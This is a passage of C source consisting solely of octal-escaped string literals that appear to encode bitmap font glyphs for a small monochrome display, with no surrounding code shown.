"\37\7\0\0\0\7\7\7\7\7\3\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\376\376~~~~~~~~\376\376\374\374\370\370" "\360\340\300\200\0\340\374\377\377\377\377\377\77\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\37\37" "\17\3\1\0\0\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\7\17\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\360\370\370\374\376\376\377" "~<\70\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370" "\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\0\200\300\340\360\370\370\374\374\374\374\374\376\374\374\374\374\370\370\360\340\377\377\377\377\377" "\377\377\0\0\340\374\377\377\377\377\377\77\17\3\1\1\0\0\0\0\0\0\1\1\3\7\77\377\377\377\377\377" "\377\377\0\0\377\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\7\37\77\377\377\377\377\376\374\370\360\340\340\340\340\340\340\360\360\370\374\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\376\374\374\374\374\374\370\370\360\360\340\300\200" "\0\0\0\0\300\370\376\377\377\377\377\337\307\303\301\301\300\300\300\300\300\300\300\301\301\303\317\377\377\377\377\377" "\376\360\0\0\377\377\377\377\377\377\377\217\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\7\17\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\374\376\374x" "\60\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\370\370\374\374\374\374\374\374\374\374\370\370" "\370\360\340\340\0\0\0\0\0\0\0\0\360\376\377\377\377\377\377\37\7\3\1\1\0\0\0\0\1\1\3\3" "\17\37\77\17\0\360\360\360\360\360\360\360\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\0\0" "\0\0\0\0\0\3\3\3\3\3\3\3\377\377\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\340\360\360\370\370\374\374|||~|||\374\374\370\370\360\360\370\370\374\374\374" "\374\374\374\374\374\377\377\377\377\377\377\303\1\0\0\0\0\0\0\0\0\0\1\303\377\377\377\377\377\374\0\0" "\0\0\0\0\0\3\7\217\337\377\377\377\377\376\376\374\374\374\374\374\376\376\177\177\77\77\37\17\7\0\0\0" "\0\0\0\0\0\0\36\277\377\377\377\377\375\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\360\360\360\340" "\300\200\0\0\374\376\377\377\377\377\317\203\1\1\1\1\1\1\1\1\1\1\1\1\1\201\203\303\377\377\377\377" "\377\377~\0\3\7\17\37\37\77\77\77\77\177\177~~~~~~~\177\177\77\77\77\77\37\37\17\7" "\3\1\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\300\340\360\370\370\374\374\374\374\374\374\374\374\374\374\370\360\360\340" "\200\0\0\0\0\0\377\377\377\377\377\377\377\77\17\7\3\1\1\0\0\0\0\0\1\3\17\377\377\377\377\377" "\377\374\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\0" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0" "\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\300\340\360\340\300\200\0\0\0\0\0\0\0\200\300\340\377\377\377\377\377\377\77\0\0\0" "\0\0\0\0\2\7\17\37\37\77\77\77\177\177\177~~\177\177\77\77\77\37\37\17\7\3\0\0\0\0\0" "\0\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\374\374\374|<" "\34\14\4\0\0\377\377\377\377\377\377\377\0\200\300\340\360\370\374\376\377\177\77\37\17\7\3\1\1\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\77\37\17\7\17\37\177\377\377\377\376\374\360\340\300\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\1\3\17\37\77\177\377\377\377\376\370\360" "\340\300\200\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\374\370\370\374\374\374\376\374\374\374\370\360\340\360\370\370\374\374\374\376\374\374\374" "\370\370\340\200\377\377\377\377\377\377\7\1\0\0\0\1\377\377\377\377\377\377\377\3\1\0\0\0\3\377\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377" "\377\377\377\377\7\7\7\7\7\7\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\376\376\376\376\376\376\376\340\360\370\374\374\376~~~~~\376\376\376\376\374\370\370\360" "\300\0\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\0\1\7\377\377\377\377\377" "\377\376\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\376\376~~~~~~\376\376\376\374\374\370\370\360\340" "\300\0\0\0\340\374\377\377\377\377\377\77\17\3\1\0\0\0\0\0\0\0\0\0\0\1\3\17\177\377\377\377" "\377\377\374\340\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\377\377\377" "\377\377\377\77\0\1\7\17\37\77\177\377\377\376\374\370\370\360\360\360\360\360\360\370\370\374\376\377\377\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\1\1\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\340\360\360\370\370\374\374\374\374\376\374\374\374\374\374\370\370\360\340\300" "\200\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377" "\377\377\374\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377" "\377\377\377\177\0\377\377\377\377\377\377\377\377\374\370\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\17\3\0\0\377\377\377\377\377\377\377\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\1\1\0\0" "\0\0\0\0\0\177\177\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\370\374\374\376\376~~~~~~~\376\374\374\370\360\376\376\376\376" "\376\376\376\0\360\376\377\377\377\377\377\77\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\177\377\377\377\377" "\377\377\377\0\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\377\377\377\377" "\377\377\377\0\0\1\7\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\370\374\374\377\177\377\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\1\1\1\3\3\3\3\7\7\3\3\3\3\1\0\0\0\377\377\377\377" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77" "\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\376\376\376\376\376\376\376\340\360\370\374\374\376\376~~~~~~~\376\376\374" "\374\370\370\60\0\0\0\0\377\377\377\377\377\377\377\177\37\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3" "\7\3\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\360\360\370\370\374\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340" "\300\200\0\0\0\0\0\37\177\377\377\377\377\377\363\341\301\300\300\200\200\200\0\0\1\1\3\7\17\37\37\7" "\3\0\0\0\0\0\0\0\200\0\1\3\3\7\7\7\17\17\17\37\37\37\77\77\77\177\376\376\374\374\370\360" "\340\300\0\0\0\60|\376\377\377\374\374\370\360\360\340\340\340\340\340\340\340\340\340\360\360\370\377\377\377\377\177" "\77\37\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\17\7\7\7\7\7\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376\377\377\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374" "\0\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\377\377\377\376\360\340\340\340\340\340\340\360\360\370\370" "\374\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374" "\374\374\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\3\37\177\377\377\377\377\377\374\360\360\340\340\340\340\340\340\360\370\370\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\7\7\7\7\7\17\17\7\7\7\7\3\1\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\374\374\374\374\374\374\354\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\374\374" "\374\374<\0\0\0\3\37\177\377\377\377\377\374\360\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\77" "\17\1\0\0\0\0\0\0\0\1\17\77\377\377\377\377\376\360\300\0\0\200\340\374\377\377\377\177\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\377\376\376\377\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\374\374\0\0\0\0\0\0\0\0\200\340\340\340\340\340\0\0\0\0\0\0\0\0\374" "\374\374\374\374\77\377\377\377\377\377\340\0\0\0\0\200\370\377\377\377\377\377\377\377\370\200\0\0\0\0\370\377" "\377\377\377\377\0\7\177\377\377\377\377\376\300\200\370\377\377\377\177\7\1\17\377\377\377\377\374\340\0\370\377\377" "\377\377\177\1\0\0\0\17\377\377\377\377\377\377\377\377\77\7\0\0\0\0\0\7\177\377\377\377\376\377\377\377" "\377\17\0\0\0\0\0\0\1\7\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0\3\7\7\7\7\7\7" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\4\34<\374\374\374\374\374\360\340\300\0\0\0\0\0\0\0\0\200\300\340\370\374\374\374\374|" "\34\14\0\0\0\0\0\0\1\3\17\37\77\377\377\377\376\370\360\300\360\374\376\377\377\177\77\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\361\377\377\377\377\177\377\377\377\377\370\340\300\200\0\0\0\0" "\0\0\0\0\0\0\200\340\360\374\376\377\377\377\77\37\7\3\0\0\0\3\7\37\77\177\377\377\376\374\370\340" "\300\200\0\0\6\7\7\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\7" "\7\7\6\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34|\374\374\374\374\374\374\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\374\374\374" "\374\374<\4\0\0\1\17\77\377\377\377\377\376\360\300\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\77" "\7\1\0\0\0\0\0\0\0\0\7\37\177\377\377\377\376\370\340\0\0\200\340\374\377\377\377\377\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\374\377\377\377\177\37\3\0\0\0\0\0" "\0\0\0\0\200\340\300\0\0\0\0\0\0\200\300\340\374\377\377\377\377\177\17\3\0\0\0\0\0\0\0\0" "\0\0\0\0\77\77\77\177\177~~\177\177\177\77\77\37\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374" "|\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\377\377\177\77\37\17\7\1\0" "\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\376\377\377\377\77\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\300\340\360\370\376\377\377\377\377\377\357\347\343\341\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\360\360\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\360\360\360\360\360\360\360\360\360\360\360" "\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\77\17\7\7\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\360\360\370\374\377\377\377\177\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\7\7\17\17\77\377\377\377\376\374\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\77\77\77\177\177\177\177~~~~~~~~" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\340\340\340\300\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\7\7\17\37\377\377\377\377\377\374\360\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\177\377\377\376\370\360\360\340" "\340\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\376\377\377\377\177\37\17\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\377\377\377\377\177\0\0\0\0\0" "\0\0\0\0\0\0\0~~~~~~~~~\177\177\177\177\77\77\37\17\7\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0`\360\370\370\374\374\376\376~~~~\376\376\376\374\374\370\370\360\360\340\340\340\360\360\370\374" "\376\374|\70\0\0\1\1\3\1\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\7\3\3\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 